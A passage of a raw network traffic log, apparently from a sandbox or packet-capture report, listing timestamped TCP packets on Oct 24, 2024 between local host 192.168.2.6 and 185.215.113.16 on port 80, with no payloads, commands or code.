Oct 24, 2024 09:07:32.600409985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600491047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600500107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600508928 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600521088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600543022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600548983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600562096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600580931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600590944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600605965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600617886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600625038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600640059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600652933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600661039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600676060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600694895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600753069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600764990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600779057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600792885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600807905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600817919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600830078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600876093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600889921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.600897074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600963116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.600992918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601006985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601021051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601028919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601041079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601054907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601063967 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601073980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601094007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601104975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601118088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601133108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601140022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601152897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601166964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601185083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601192951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601206064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601227999 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601252079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601264954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601279020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601286888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601296902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601309061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601331949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601344109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601363897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601613045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601624966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601634026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601646900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601661921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.601669073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.601865053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.613089085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.613116026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.613137007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.613451958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.628664970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642518044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642549038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642563105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642587900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642626047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642641068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642667055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642680883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642704010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642709970 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642724037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642739058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642750025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642805099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642818928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642827988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642843962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642858028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642865896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642880917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642903090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.642982006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.642996073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643012047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643023014 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643038034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643049955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643059015 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643074036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643089056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643099070 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643166065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643179893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643188953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643203974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643218040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643227100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643239975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643264055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643327951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643343925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643358946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643373013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643388033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643398046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643413067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643424988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643434048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643486023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643500090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643508911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643522024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643537045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643546104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643624067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643639088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643649101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643662930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643686056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643887997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643899918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643915892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.643965006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.643965006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.644007921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.644021988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.644038916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.644053936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.644062996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.644105911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.644120932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.644130945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.644161940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.684581995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.684606075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.684614897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.684623957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.684653044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.684720039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.685395956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714445114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714453936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714471102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714513063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714524031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714534044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714549065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714574099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714641094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714643955 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714658022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714694023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714729071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714767933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714792013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714799881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714814901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714843988 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714876890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714884996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714899063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714912891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714920998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714956045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.714966059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714966059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.714976072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715009928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715025902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715035915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715044022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715121984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715199947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715214968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715223074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715233088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715241909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715254068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715254068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715265989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715298891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715337992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715346098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715352058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715393066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715393066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715461969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715475082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715482950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715491056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715506077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715513945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715522051 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715537071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715595007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715603113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715612888 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715627909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715640068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715665102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715672970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715687990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715841055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715862036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715869904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715886116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715890884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715898991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715907097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715922117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715930939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.715939999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.715997934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716017008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716022968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716046095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716057062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716065884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716078997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716088057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716093063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716105938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716186047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716193914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716208935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716226101 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716361046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716367960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716382980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716392994 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716399908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716409922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716423035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716430902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716442108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716449022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716464043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716469049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716469049 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716485023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716620922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716634035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716641903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716653109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716660976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716675997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716675997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716728926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716737032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716751099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716758966 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716768026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716775894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716797113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716865063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716865063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716933012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716942072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716957092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716964006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716972113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716986895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.716991901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.716991901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717008114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717016935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717048883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717246056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717253923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717268944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717278957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717287064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717295885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717308998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717318058 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717324972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717333078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717348099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717353106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717365980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717372894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717380047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717391014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717392921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717392921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717406988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717421055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717428923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717437029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717442036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717454910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717478037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717659950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717667103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717681885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717689991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717696905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717708111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717720985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717727900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717797995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717807055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717807055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717818022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717828035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717916012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717925072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717938900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717947006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717955112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717963934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717976093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717976093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.717988014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.717995882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718007088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718018055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718019962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718034983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718035936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718240023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718254089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.718262911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.718286037 CEST	80	49772	185.215.113.16	192.168.2.6
